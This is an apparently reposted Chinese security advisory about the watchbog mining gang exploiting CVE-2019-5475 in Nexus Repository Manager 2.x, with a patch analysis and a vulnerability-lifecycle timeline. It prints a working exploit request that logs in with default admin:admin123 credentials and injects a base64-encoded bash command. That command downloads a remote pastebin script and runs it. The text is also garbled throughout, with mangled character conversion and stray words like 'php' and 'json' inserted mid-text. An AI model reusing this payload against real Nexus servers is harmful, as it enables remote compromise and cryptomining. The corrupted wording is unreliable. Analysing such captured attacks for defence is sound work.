watchbog再升級,企業黃金修補期不斷縮小,或面臨蠕蟲和惡意攻擊

概要

近日,阿里雲安全團隊發現wacthbo挖礦團伙[1]新增了CVE_2019_5475 的漏洞利用代碼,並開始進行嘗試性攻擊。
經過對CVE_2019_5475漏洞的生命週期進行分析後發現,漏洞批量化利用的速度正在提升,若是未能在黃金修補週期內對漏洞進行修補,將有可能很快遭遇蠕蟲和惡意攻擊程序的攻擊。php

阿里雲目前已第一時間上線默認防護策略。java

背景

阿里雲安全團隊9月6日捕獲了一塊兒新漏洞利用,經過對涉及應用和漏洞的分析,咱們確認這是watchbog團伙的一次版本更新,這次版本更新引入了新的漏洞CVE_2019_5475做爲攻擊武器,利用該漏洞該蠕蟲能夠經過幾個簡單的 HTTP 請求便可達到入侵併控制機器的目的。git

漏洞涉及的應用Nexus 是一個強大的倉庫管理器,它能夠用於簡化內部倉庫和外部倉庫的訪問,是常見的maven私服解決方案。可是Nexus Repository Manager 2.x Capabilities中存在默認的弱密碼帳號,在使用401登陸認證後,便可經過createrepo或mergerepo配置實現遠程命令注入,從而執行任意功能。github

漏洞利用payload

CVE_2019_5475 的利用代碼以下所示:json

PUT /nexus/service/siesta/capabilities/00009df00fbcea95 HTTP/1.1
Content-Length: 472
Accept-Encoding: gzip, deflate
Connection: close
Accept: application/json
User-Agent: Mozilla/5.0 (X11; Linux i686; U;) Gecko/20070322 Kazehakase/0.4.5
Host: 39.106.194.166:8081
Content-Type: application/xml
Authorization: Basic YWRtaW46YWRtaW4xMjM=

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<ns2:capability xmlns:ns2="http://sonatype.org/xsd/nexus-capabilities-plugin/rest/1.0"><id>healthcheck</id><notes>123</notes><enabled>true</enabled><typeId>1</typeId><properties><key>mergerepoPath</key><value>bash -c {echo,KGN1cmwgLWZzU0wgaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2pqRnpqQ3d4fHx3Z2V0IC1xIC1PIC0gaHR0cHM6Ly9wYXN0ZWJpbi5jb20vcmF3L2pqRnpqQ3d4KXxiYXNo}|{base64,-d}|{bash,-i}</value></properties></ns2:capability>

其中使用了401HTTP 認證,而且存在admin:admin123的弱密碼,所以只要對createrepo或mergerepo這兩個字段進行命令注入,便可完成攻擊。安全

經過對比漏洞修復先後的相關代碼,其主要修改集中在yum/internal/task/CommandLineExecutor.java 這個文件。bash

在原有邏輯中,將直接把用戶提交的命令進行執行,而修復方案便是增長了一個過濾函數getCleanCommand。網絡

該函數將判斷即將執行命令的文件路徑和是否處於白名單內,不然將拒絕執行。併發

CVE_2019_5475生命週期回顧

2019-07-23 白帽子上報漏洞
2019-08-09 漏洞概要公開,廠商更新版本
2019-08-21 漏洞細節和利用代碼公開
2019-09-04 國內白帽子提交到seebug
2019-09-06 蠕蟲出如今野利用

咱們回顧了CVE_2019_5475的整個生命週期,發現其在出現可利用poc代碼到蠕蟲的大規模利用的時間間隔僅爲10天左右。而原理相似的CVE-2018-11770(Hadoop yarn RESTAPI 未受權RCE),其出現可用poc到被蠕蟲大規模利用的時間約110天。app

若是用戶沒有在8月9日-8月21日這個黃金時間內對漏洞進行修補,則可能遭到定向攻擊者的成功攻擊。
而在9月6往後,存在漏洞而且還未修復的用戶,面對僵屍網絡不停的掃描,幾乎沒有僥倖逃過攻擊的可能性。

漏洞生命週期

​​​​每一個漏洞都有其自身的生命週期,隨着橫軸時間線的日後,其利用價值也將逐漸下降。
順着圖中的白色線條,一個漏洞將經歷從產生、poc驗證、廠商公告、發佈補丁以及逐漸消亡的過程,而這個過程也與常說的0day、1day、Nday 階段進行對應。

讓咱們順着紅線,從攻擊者的視角來看:

  1. 挖掘出一個poc後,攻擊者可能會進行部分黑客活動進行小範圍嘗試
  2. 小範圍的嘗試和以及黑客圈子內的傳播將擴大該漏洞被發現的可能性
  3. 隨着漏洞利用價值的下降,部分圈子的泄露,該漏洞的存在被你們所知,並被部分白帽子提交給廠商
  4. 廠商將根據收到的漏洞對漏洞進行評估和修補,並同時發佈安全公告
  5. 黑客們經過安全公告、漏洞詳情公告等信息得到線索,並發動手中資源進行挖掘或購買等各類手段得到漏洞利用的詳情,並據此開發出相應的攻擊代碼,並應用在各類惡意代碼中

經過以往攻擊 case 的分析,咱們發現最大的攻擊危害一般發生在大規模的攻擊利用中,即漏洞被惡意攻擊進行大規模利用前。

若是能在第5步前完成漏洞修補或者在以前的幾步中及早發現攻擊者的攻擊嘗試,並針對漏洞及早的進行防護和通知廠商進行修補,將能極大的減少該漏洞所形成的損失。

而阿里雲實時保護着中國40%的網站,在服務百萬客戶的環境下,阿里雲安全團隊有機會第一時間看到最多的攻擊變種和最大的攻擊規模,並第一時間提供安全防護策略,提供安全告警通知,幫助用戶更好地應對此類惡意程序的威脅。

安全建議

針對本文提到的漏洞,阿里雲平臺已可默認攔截。但仍建議使用Nexus Repository Manager 2.14.14如下的用戶,儘快升級到 version 2.14.14以避免遭遇惡意程序的攻擊。

REF:
[1] Nexus Repository Manager 3新漏洞已被用於挖礦木馬傳播,建議用戶儘快修復 - 阿里雲官方博客的我的空間 - OSCHINA
[2]HackerOne
[3]GitHub - ab1gale/phpcms-2008-CVE-2018-19127
[4]Comparing release-2.14.12-02...release-2.14.14-01 · sonatype/nexus-public · GitHub
[5]CVE-2019-5475 Nexus Repository Manager 2 - OS Command Injection - 2019-08-09 – Sonatype Support



本文做者:目明

原文連接

本文爲雲棲社區原創內容,未經容許不得轉載。

相關文章
相關標籤/搜索